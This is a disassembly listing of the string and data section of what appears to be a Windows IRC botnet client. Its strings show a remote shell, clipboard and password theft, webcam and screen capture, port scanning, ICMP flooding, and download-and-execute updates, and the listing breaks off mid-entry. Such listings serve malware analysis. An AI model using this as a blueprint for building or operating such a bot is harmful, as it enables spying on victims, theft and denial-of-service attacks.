72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_42FCE0 dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_42FCE4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_42FD0C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42FD54 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_42FD7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_42FDA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_42FDCC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_42FDF4 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_42FE44 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_42FE7C db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 10h unk_42FEB0 db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 10h dword_42FEE0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_42FF08 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42FF38 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_42FF70 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42FFA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_42FFE8 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 dword_430024 dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h ; DATA XREF: sub_40EE72+56EDo dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h, 65686361h dd 756C6620h dword_430050 dd 64656873h, 2Eh ; DATA XREF: ___:00427B70o dword_430058 dd 7A026E02h ; DATA XREF: sub_40EE72:loc_41454Fo unk_43005C db 1Fh ; DATA XREF: ___:off_427A0Co db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_430094 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_4300D0 db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_430104 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 10h dword_430150 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_43019C db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_4301E4 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_43022C db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_430258 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_4302A4 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_4302DC db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 10h unk_430320 db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_430398 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_4303CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_4303FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_43042C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_430454 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_430490 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_4304C4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_4304FC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o ; sub_40EE72:loc_414B4Co align 4 dword_430548 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_43057C db 3 ; DATA XREF: sub_40EE72:loc_413AC5o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 10h unk_4305C0 db 3 ; DATA XREF: sub_40EE72+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_4305FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_430630 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A4Fo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_430668 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_430694 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_4306D4 db 2 ; DATA XREF: sub_40EE72+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_430708 db 2 ; DATA XREF: sub_40EE72:loc_413990o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_43074C db 2 ; DATA XREF: sub_40EE72+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_430784 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_4307B0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_4307E4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_430808 db 2 ; DATA XREF: sub_40EE72+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_430854 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_43087C dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413745o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4308A8 db 2 ; DATA XREF: sub_40EE72+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4308D4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_4308FC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_430938 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_430968 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_43099C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413639o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_4309E8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41362Fo dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_430A38 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o align 4 dword_430A7C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Do dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 4 dword_430AC4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413586o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_430B08 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo align 4 dword_430B4C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_430B80 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o dword_430BBC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413450o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_430C04 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413449o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_430C40 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o align 4 dword_430C84 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_430CAC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_430CEC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h dword_430D20 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_430D4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_430D78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_430DA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_430DC8 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o ; sub_40EE72+4E78o dword_430DD4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 10h aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo align 4 dword_430E0C dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_430E38 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_430E64 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo dword_430E6C dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_430E98 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o ; sub_40EE72+4CADo dword_430EA0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao dword_430EAC dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o dword_430EB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F8Fo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_430EF8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o align 4 dword_430F28 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBCo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_430F4C dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao ; sub_40EE72+40BDo ... unk_430F5C db 2 ; DATA XREF: sub_40EE72:loc_412E29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_430FB0 db 2 ; DATA XREF: sub_40EE72+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_430FFC db 2 ; DATA XREF: sub_40EE72+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o align 4 dword_431044 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_43106C db 2 ; DATA XREF: sub_40EE72+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 10h unk_4310A0 db 2 ; DATA XREF: sub_40EE72+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4310EC db 2 ; DATA XREF: sub_40EE72+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_43112C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AF9o ; sub_40EE72:loc_413962o dd 0BBBB0220h, 2002h unk_431148 db 2 ; DATA XREF: sub_40EE72+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_43117C db 2 ; DATA XREF: sub_40EE72:loc_412ABFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_4311C4 db 2 ; DATA XREF: sub_40EE72+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_43120C db 2 ; DATA XREF: sub_40EE72+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_431248 db 2 ; DATA XREF: sub_40EE72+3B4Co db 